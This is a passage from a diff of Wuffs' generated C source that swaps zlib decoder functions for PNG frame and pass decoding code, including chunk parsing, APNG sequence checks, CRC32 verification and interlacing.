wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_skip_frame.scratch; -+ self->private_impl.f_chunk_length = 0u; -+ continue; -+ } else if (self->private_impl.f_chunk_type_array[0u] != 0u) { -+ break; -+ } else if (self->private_impl.f_chunk_type == 1280598886u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ self->private_data.s_skip_frame.scratch = (((uint64_t)(self->private_impl.f_chunk_length)) + 12u); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ if (self->private_data.s_skip_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_skip_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_skip_frame.scratch; -+ self->private_impl.f_chunk_length = 0u; -+ } -+ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); -+ self->private_impl.f_call_sequence = 32u; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_zlib__decoder__workbuf_len( -- const wuffs_zlib__decoder* self) { -- if (!self) { -- return wuffs_base__utility__empty_range_ii_u64(); -+ ok: -+ self->private_impl.p_skip_frame = 0; -+ goto exit; - } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_range_ii_u64(); -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_skip_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } - -- return wuffs_base__utility__make_range_ii_u64(1u, 1u); -+ return status; - } - --// -------- func zlib.decoder.transform_io -+// -------- func png.decoder.decode_frame - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_zlib__decoder__transform_io( -- wuffs_zlib__decoder* self, -- wuffs_base__io_buffer* a_dst, -+wuffs_png__decoder__decode_frame( -+ wuffs_png__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, - wuffs_base__io_buffer* a_src, -- wuffs_base__slice_u8 a_workbuf) { -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { - if (!self) { - return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -@@ -52170,7 +65458,7 @@ wuffs_zlib__decoder__transform_io( - return wuffs_base__make_status(wuffs_base__error__bad_argument); - } - if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 1)) { -+ (self->private_impl.active_coroutine != 3)) { - self->private_impl.magic = WUFFS_BASE__DISABLED; - return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); - } -@@ -52179,71 +65467,312 @@ wuffs_zlib__decoder__transform_io( - - wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- uint32_t coro_susp_point = self->private_impl.p_transform_io[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_frame; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_png__decoder__do_decode_frame(self, -+ a_dst, -+ a_src, -+ a_blend, -+ a_workbuf, -+ a_opts); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_png__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_decode_frame = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func png.decoder.do_decode_frame -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__do_decode_frame( -+ wuffs_png__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint32_t v_seq_num = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ uint32_t v_pass_width = 0; -+ uint32_t v_pass_height = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -+ if (((uint8_t)(self->private_impl.f_call_sequence & 16u)) != 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ goto exit; -+ } else if (self->private_impl.f_call_sequence >= 96u) { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } else if (self->private_impl.f_call_sequence != 64u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_png__decoder__do_decode_frame_config(self, NULL, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } - while (true) { -- { -- wuffs_base__status t_0 = wuffs_zlib__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); -- v_status = t_0; -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 8u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -+ continue; - } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_zlib__error__truncated_input); -+ self->private_impl.f_chunk_length = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ self->private_impl.f_chunk_type = ((uint32_t)((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) >> 32u))); -+ if (self->private_impl.f_chunk_type == 1413563465u) { -+ self->private_impl.f_chunk_type_array[0u] = 73u; -+ self->private_impl.f_chunk_type_array[1u] = 68u; -+ self->private_impl.f_chunk_type_array[2u] = 65u; -+ self->private_impl.f_chunk_type_array[3u] = 84u; -+ iop_a_src += 8u; -+ if ( ! self->private_impl.f_ignore_checksum) { -+ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, -+ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -+ wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); -+ } -+ break; -+ } else if (self->private_impl.f_chunk_type == 1413571686u) { -+ self->private_impl.f_chunk_type_array[0u] = 102u; -+ self->private_impl.f_chunk_type_array[1u] = 100u; -+ self->private_impl.f_chunk_type_array[2u] = 65u; -+ self->private_impl.f_chunk_type_array[3u] = 84u; -+ if (self->private_impl.f_chunk_length < 4u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ self->private_impl.f_chunk_length -= 4u; -+ iop_a_src += 8u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ uint32_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_frame.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_frame.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -+ if (num_bits_0 == 24) { -+ t_0 = ((uint32_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)); -+ } -+ } -+ v_seq_num = t_0; -+ } -+ if (v_seq_num != self->private_impl.f_next_animation_seq_num) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); -+ goto exit; -+ } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { -+ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); -+ goto exit; -+ } -+ self->private_impl.f_next_animation_seq_num += 1u; -+ break; -+ } else if (self->private_impl.f_chunk_type == 1280598886u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); - goto exit; - } -+ self->private_data.s_do_decode_frame.scratch = (((uint64_t)(self->private_impl.f_chunk_length)) + 12u); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ if (self->private_data.s_do_decode_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_do_decode_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_do_decode_frame.scratch; -+ self->private_impl.f_chunk_length = 0u; -+ } -+ if (self->private_impl.f_zlib_is_dirty) { -+ wuffs_private_impl__ignore_status(wuffs_zlib__decoder__initialize(&self->private_data.f_zlib, -+ sizeof (wuffs_zlib__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -+ if (self->private_impl.f_ignore_checksum) { -+ wuffs_zlib__decoder__set_quirk(&self->private_data.f_zlib, 1u, 1u); -+ } -+ } -+ self->private_impl.f_zlib_is_dirty = true; -+ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, -+ wuffs_base__pixel_buffer__pixel_format(a_dst), -+ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), -+ wuffs_base__utility__make_pixel_format(self->private_impl.f_src_pixfmt), -+ wuffs_base__make_slice_u8(self->private_data.f_src_palette, 1024), -+ a_blend); -+ if ( ! wuffs_base__status__is_ok(&v_status)) { - status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } -+ self->private_impl.f_workbuf_hist_pos_base = 0u; -+ while (true) { -+ if (self->private_impl.f_chunk_type_array[0u] == 73u) { -+ v_pass_width = (16777215u & ((((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][1u])) + self->private_impl.f_width) >> WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u])); -+ v_pass_height = (16777215u & ((((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][4u])) + self->private_impl.f_height) >> WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][3u])); -+ } else { -+ v_pass_width = (16777215u & ((uint32_t)(self->private_impl.f_frame_rect_x1 - self->private_impl.f_frame_rect_x0))); -+ v_pass_height = (16777215u & ((uint32_t)(self->private_impl.f_frame_rect_y1 - self->private_impl.f_frame_rect_y0))); -+ } -+ if ((v_pass_width > 0u) && (v_pass_height > 0u)) { -+ self->private_impl.f_pass_bytes_per_row = wuffs_png__decoder__calculate_bytes_per_row(self, v_pass_width); -+ self->private_impl.f_pass_workbuf_length = (((uint64_t)(v_pass_height)) * (1u + self->private_impl.f_pass_bytes_per_row)); -+ while (true) { -+ { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ wuffs_base__status t_1 = wuffs_png__decoder__decode_pass(self, a_src, a_workbuf); -+ v_status = t_1; -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; -+ } else if (wuffs_base__status__is_error(&v_status) || ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed))) { -+ if (self->private_impl.f_workbuf_wi <= ((uint64_t)(a_workbuf.len))) { -+ wuffs_png__decoder__filter_and_swizzle(self, a_dst, wuffs_base__slice_u8__subslice_j(a_workbuf, self->private_impl.f_workbuf_wi)); -+ } -+ if (v_status.repr == wuffs_base__suspension__short_read) { -+ status = wuffs_base__make_status(wuffs_png__error__truncated_input); -+ goto exit; -+ } -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); -+ } -+ v_status = wuffs_png__decoder__filter_and_swizzle(self, a_dst, a_workbuf); -+ if ( ! wuffs_base__status__is_ok(&v_status)) { -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } -+ self->private_impl.f_workbuf_hist_pos_base += self->private_impl.f_pass_workbuf_length; -+ } -+ if ((self->private_impl.f_interlace_pass == 0u) || (self->private_impl.f_interlace_pass >= 7u)) { -+ break; -+ } -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ self->private_impl.f_interlace_pass += 1u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif - } -+ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); -+ self->private_impl.f_call_sequence = 32u; - - ok: -- self->private_impl.p_transform_io[0] = 0; -+ self->private_impl.p_do_decode_frame = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -+ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - - goto exit; - exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -+ - return status; - } - --// -------- func zlib.decoder.do_transform_io -+// -------- func png.decoder.decode_pass - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_zlib__decoder__do_transform_io( -- wuffs_zlib__decoder* self, -- wuffs_base__io_buffer* a_dst, -+wuffs_png__decoder__decode_pass( -+ wuffs_png__decoder* self, - wuffs_base__io_buffer* a_src, - wuffs_base__slice_u8 a_workbuf) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint16_t v_x = 0; -- uint32_t v_checksum_got = 0; -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ wuffs_base__io_buffer u_w = wuffs_base__empty_io_buffer(); -+ wuffs_base__io_buffer* v_w = &u_w; -+ uint8_t* iop_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io0_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint64_t v_w_mark = 0; -+ uint64_t v_r_mark = 0; -+ wuffs_base__status v_zlib_status = wuffs_base__make_status(NULL); -+ uint32_t v_checksum_have = 0; - uint32_t v_checksum_want = 0; -- uint64_t v_mark = 0; -+ uint32_t v_seq_num = 0; - -- uint8_t* iop_a_dst = NULL; -- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_dst && a_dst->data.ptr) { -- io0_a_dst = a_dst->data.ptr; -- io1_a_dst = io0_a_dst + a_dst->meta.wi; -- iop_a_dst = io1_a_dst; -- io2_a_dst = io0_a_dst + a_dst->data.len; -- if (a_dst->meta.closed) { -- io2_a_dst = iop_a_dst; -- } -- } - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; - const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -52255,77 +65784,93 @@ wuffs_zlib__decoder__do_transform_io( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_do_transform_io[0]; -- if (coro_susp_point) { -- v_checksum_got = self->private_data.s_do_transform_io[0].v_checksum_got; -- } -+ uint32_t coro_susp_point = self->private_impl.p_decode_pass; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if (self->private_impl.f_bad_call_sequence) { -- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -- goto exit; -- } else if (self->private_impl.f_quirks[0u]) { -- } else if ( ! self->private_impl.f_want_dictionary) { -+ self->private_impl.f_workbuf_wi = 0u; -+ while (true) { -+ if ((self->private_impl.f_workbuf_wi > self->private_impl.f_pass_workbuf_length) || (self->private_impl.f_pass_workbuf_length > ((uint64_t)(a_workbuf.len)))) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); -+ goto exit; -+ } - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- uint16_t t_0; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_0 = wuffs_base__peek_u16be__no_bounds_check(iop_a_src); -- iop_a_src += 2; -- } else { -- self->private_data.s_do_transform_io[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ wuffs_base__io_buffer* o_0_v_w = v_w; -+ uint8_t* o_0_iop_v_w = iop_v_w; -+ uint8_t* o_0_io0_v_w = io0_v_w; -+ uint8_t* o_0_io1_v_w = io1_v_w; -+ uint8_t* o_0_io2_v_w = io2_v_w; -+ v_w = wuffs_private_impl__io_writer__set( -+ &u_w, -+ &iop_v_w, -+ &io0_v_w, -+ &io1_v_w, -+ &io2_v_w, -+ wuffs_base__slice_u8__subslice_ij(a_workbuf, -+ self->private_impl.f_workbuf_wi, -+ self->private_impl.f_pass_workbuf_length), -+ ((uint64_t)(self->private_impl.f_workbuf_hist_pos_base + self->private_impl.f_workbuf_wi))); -+ { -+ const bool o_1_closed_a_src = a_src->meta.closed; -+ const uint8_t* o_1_io2_a_src = io2_a_src; -+ wuffs_private_impl__io_reader__limit(&io2_a_src, iop_a_src, -+ ((uint64_t)(self->private_impl.f_chunk_length))); -+ if (a_src) { -+ size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); -+ a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); -+ a_src->meta.wi = n; -+ } -+ v_w_mark = ((uint64_t)(iop_v_w - io0_v_w)); -+ v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); -+ { -+ u_w.meta.wi = ((size_t)(iop_v_w - u_w.data.ptr)); -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- uint64_t* scratch = &self->private_data.s_do_transform_io[0].scratch; -- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -- if (num_bits_0 == 8) { -- t_0 = ((uint16_t)(*scratch >> 48)); -- break; -+ wuffs_base__status t_0 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, v_w, a_src, wuffs_base__utility__empty_slice_u8()); -+ v_zlib_status = t_0; -+ iop_v_w = u_w.data.ptr + u_w.meta.wi; -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; - } -- num_bits_0 += 8u; -- *scratch |= ((uint64_t)(num_bits_0)); -+ } -+ if ( ! self->private_impl.f_ignore_checksum) { -+ wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); -+ } -+ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_private_impl__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); -+ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_workbuf_wi, wuffs_private_impl__io__count_since(v_w_mark, ((uint64_t)(iop_v_w - io0_v_w)))); -+ io2_a_src = o_1_io2_a_src; -+ if (a_src) { -+ a_src->meta.closed = o_1_closed_a_src; -+ a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); - } - } -- v_x = t_0; -- } -- if (((v_x >> 8u) & 15u) != 8u) { -- status = wuffs_base__make_status(wuffs_zlib__error__bad_compression_method); -- goto exit; -- } -- if ((v_x >> 12u) > 7u) { -- status = wuffs_base__make_status(wuffs_zlib__error__bad_compression_window_size); -- goto exit; -- } -- if ((v_x % 31u) != 0u) { -- status = wuffs_base__make_status(wuffs_zlib__error__bad_parity_check); -- goto exit; -+ v_w = o_0_v_w; -+ iop_v_w = o_0_iop_v_w; -+ io0_v_w = o_0_io0_v_w; -+ io1_v_w = o_0_io1_v_w; -+ io2_v_w = o_0_io2_v_w; - } -- self->private_impl.f_want_dictionary = ((v_x & 32u) != 0u); -- if (self->private_impl.f_want_dictionary) { -- self->private_impl.f_dict_id_got = 1u; -+ if (wuffs_base__status__is_ok(&v_zlib_status)) { -+ if (self->private_impl.f_chunk_length > 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__too_much_data); -+ goto exit; -+ } - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); - uint32_t t_1; - if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { - t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); - iop_a_src += 4; - } else { -- self->private_data.s_do_transform_io[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ self->private_data.s_decode_pass.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); - while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint64_t* scratch = &self->private_data.s_do_transform_io[0].scratch; -+ uint64_t* scratch = &self->private_data.s_decode_pass.scratch; - uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); - *scratch >>= 8; - *scratch <<= 8; -@@ -52338,101 +65883,208 @@ wuffs_zlib__decoder__do_transform_io( - *scratch |= ((uint64_t)(num_bits_1)); - } - } -- self->private_impl.f_dict_id_want = t_1; -+ v_checksum_want = t_1; - } -- status = wuffs_base__make_status(wuffs_zlib__note__dictionary_required); -- goto ok; -- } else if (self->private_impl.f_got_dictionary) { -- status = wuffs_base__make_status(wuffs_zlib__error__incorrect_dictionary); -- goto exit; -- } -- } else if (self->private_impl.f_dict_id_got != self->private_impl.f_dict_id_want) { -- if (self->private_impl.f_got_dictionary) { -- status = wuffs_base__make_status(wuffs_zlib__error__incorrect_dictionary); -+ if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_chunk_type_array[0u] == 73u)) { -+ v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__utility__empty_slice_u8()); -+ if (v_checksum_have != v_checksum_want) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_checksum); -+ goto exit; -+ } -+ } -+ break; -+ } else if (v_zlib_status.repr == wuffs_base__suspension__short_write) { -+ if ((1u <= self->private_impl.f_interlace_pass) && (self->private_impl.f_interlace_pass <= 6u)) { -+ break; -+ } -+ status = wuffs_base__make_status(wuffs_base__error__too_much_data); - goto exit; -- } -- status = wuffs_base__make_status(wuffs_zlib__note__dictionary_required); -- goto ok; -- } -- self->private_impl.f_header_complete = true; -- while (true) { -- v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); -- { -- if (a_dst) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } else if (v_zlib_status.repr != wuffs_base__suspension__short_read) { -+ status = v_zlib_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; - } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ goto ok; -+ } else if (self->private_impl.f_chunk_length == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ uint32_t t_2; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_2 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_pass.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_pass.scratch; -+ uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); -+ if (num_bits_2 == 24) { -+ t_2 = ((uint32_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_2 += 8u; -+ *scratch |= ((uint64_t)(num_bits_2)); -+ } -+ } -+ v_checksum_want = t_2; - } -- wuffs_base__status t_2 = wuffs_deflate__decoder__transform_io(&self->private_data.f_flate, a_dst, a_src, a_workbuf); -- v_status = t_2; -- if (a_dst) { -- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -+ if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_chunk_type_array[0u] == 73u)) { -+ v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__utility__empty_slice_u8()); -+ if (v_checksum_have != v_checksum_want) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_checksum); -+ goto exit; -+ } - } -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ uint32_t t_3; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_pass.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_pass.scratch; -+ uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); -+ if (num_bits_3 == 24) { -+ t_3 = ((uint32_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_3 += 8u; -+ *scratch |= ((uint64_t)(num_bits_3)); -+ } -+ } -+ self->private_impl.f_chunk_length = t_3; - } -- } -- if ( ! self->private_impl.f_ignore_checksum && ! self->private_impl.f_quirks[0u]) { -- v_checksum_got = wuffs_adler32__hasher__update_u32(&self->private_data.f_checksum, wuffs_base__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), 